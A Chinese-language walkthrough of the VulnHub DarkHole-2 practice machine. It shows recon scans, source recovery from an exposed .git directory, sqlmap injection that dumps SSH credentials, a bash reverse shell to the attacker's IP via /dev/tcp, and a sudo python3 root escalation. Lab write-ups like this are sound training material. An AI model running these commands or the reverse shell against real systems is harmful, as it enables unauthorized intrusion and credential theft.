VulnHub-DarkHole-2 Walkthrough WP
声明
本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,我不承担任何法律及连带责任。
靶场信息:
地址:https://www.vulnhub.com/entry/darkhole-2,740/ 发布日期:2021 年 9 月 3 日 难度:难 目标:获得root权限
运行:VMware
提示:不要为 Brute-Force 浪费时间
一、信息收集
1 获取靶机ip
netdiscover -r 10.0.1.0/24 -i eth0
得到ip地址:10.0.1.4
image-20211024161617081
2 访问靶机
http://10.0.1.4/
image-20211024190651022
3 开放端口服务信息获取
nmap -v -T4 -p- -A -oN nmap.log 10.0.1.4
得到信息(存在.git泄露):
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 57:b1:f5:64:28:98:91:51:6d:70:76:6e:a5:52:43:5d (RSA)
| 256 cc:64:fd:7c:d8:5e:48:8a:28:98:91:b9:e4:1e:6d:a8 (ECDSA)
|_ 256 9e:77:08:a4:52:9f:33:8d:96:19:ba:75:71:27:bd:60 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-git:
| 10.0.1.4:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: i changed login.php file for more secure
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: DarkHole V2
注意这里的80端口服务中扫描到.Git信息,可以利用.git信息泄露漏洞获取源码
8585端口安装有gitea web应用
4 目录扫描
dirsearch -u http://10.0.1.3/
image-20211024141931082
gobuster dir -u http://10.0.1.3/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
image-20211024141953029
二、漏洞探测+利用
1. 获取源码方法1
使用 wget 和 git
wget递归下载所有文件
wget -r http://192.168.19.137/.git
这将创建一个名称为 IP 地址的目录。在目录中,它包含递归下载的文件,包括“.git”。
image-20211024174706062
按如下方式克隆它。
git clone . webapp
这将创建一个 git 存储库“webapp”,我们可以在其中执行所有 git 操作。
image-20211024174748344
在 login.php 页面上,我们看到了登录逻辑。
image-20211024174856663
显示的部分正在清理输入。因此,我们无法执行 SQL 注入。但是,当我检查 git 日志时,我们会在同一个地方看到凭据。
执行
git log
image-20211024174945812
git 日志中,我们看到作者在第二次提交时添加了默认凭据。因此,让我们将 HEAD 切换到该提交。
git checkout a4d9
cat login.php
image-20211024175114798
lush@admin.com/321
现在,我们可以看到 ID 为 1 的用户的凭据。我们现在可以轻松登录 Web 应用程序
image-20211024175406805
2.获取源码方法2
使用 GitTools工具
https://github.com/internetwache/GitTools
共有三种工具,我将使用其中的两种。
将.git目录转储到目录gitdump。
./Dumper/gitdumper.sh http://10.0.1.4/.git/ gitdump
image-20211024175822528
将提取源代码并按照提交进行组织
./Extractor/extractor.sh . .
image-20211024175906187image-20211024175931653
这样,我们就可以从 .git 目录中获取源代码了。
其余的和之前的一样。唯一的区别是它将所有内容转储到单独的目录中。
image-20211024180133241
2.SQL注入
URL 上,我们看到一个 GET 参数“id”。当我们改变它的值时,我们也可以观察到页面的变化。
id=null时,数据为空
image-20211024180328913
单引号
image-20211024180424062
sqlmap跑一下
将请求包保存到文件,
sqlmap -r sql3 -p id --random-agent
存在union注入
image-20211024180646822
判断权限为DBA
image-20211024180726764
os-shell失败,不知道网站路径
前面git找到数据库的库名是darkhole_2
image-20211024181636505
用sqlmap跑这个库看看有什么表
sqlmap -r sql3 -p id --random-agent --is-dba --technique=U --current-db
image-20211024181729918
sqlmap -r sql3 -p id --random-agent --is-dba --technique=U -D darkhole_2 --tables
image-20211024181756132
ssh这个表应该有问题,看列名
sqlmap -r sql3 -p id --random-agent --is-dba --technique=U -D darkhole_2 -T ssh --columns
image-20211024181927969
3.得到ssh用户名密码
sqlmap -r sql3 -p id --random-agent --is-dba --technique=U -D darkhole_2 -T ssh --dump
image-20211024182033773
+----+------+--------+
| id | pass | user |
+----+------+--------+
| 1 | fool | jehad |
+----+------+--------+
ssh登录
ssh jehad@10.0.1.4
image-20211024182739700
4.发现命令执行
查看jehad用户的命令记录
cat .bash_history
发现命令执行
image-20211024183147660
试一下果然能行,是losy用户的权限
curl "http://127.0.0.1:9999/?cmd=id"
image-20211024183209010
5.获取losy用户shell
将反弹shell的文件下载到/tmp路径,kali的ip是10.0.1.12
#!/bin/bash
bash -i >& /dev/tcp/10.0.1.12/6666 0>&1
image-20211024184728185image-20211024184752397
curl "http://127.0.0.1:9999/?cmd=bash%20/tmp/shell"
image-20211024184819008
6.user.txt
image-20211024184856738
7.获取losy密码
再次查看历史记录,发现losy密码是gang
image-20211024185117045
成功连接ssh
image-20211024185156858
查看losy用户的sudo权限(jehad用户无法使用sudo)
可以使用python3
image-20211024185636798
三、权限提升
1.获取root权限
sudo python3 -c 'import os; os.system("/bin/sh")'
image-20211024185736417
2.获取root flag
DarkHole{'Legend'}
总结
这台靶机难度定义的是难,但也不难,比第一个难一点点。我翻了一下网上的教程,他们居然没看历史命令记录,好吧,这可能是出题人忘记删掉了,但难度还行吧。命令记录会保留一个crontab的计划任务,这用LinEnum脚本很容易发现,然后就是通过查看源码发现命令执行的web服务,进行反弹shell得到losy的shell,在历史记录中发现losy的密码,登上去ssh,查看sudo即可使用python3获取root权限。
参考
https://nepcodex.com/2021/09/darkhole_2-walkthrough-vulnhub-writeup/
- 点赞
- 收藏
- 关注作者
评论(0)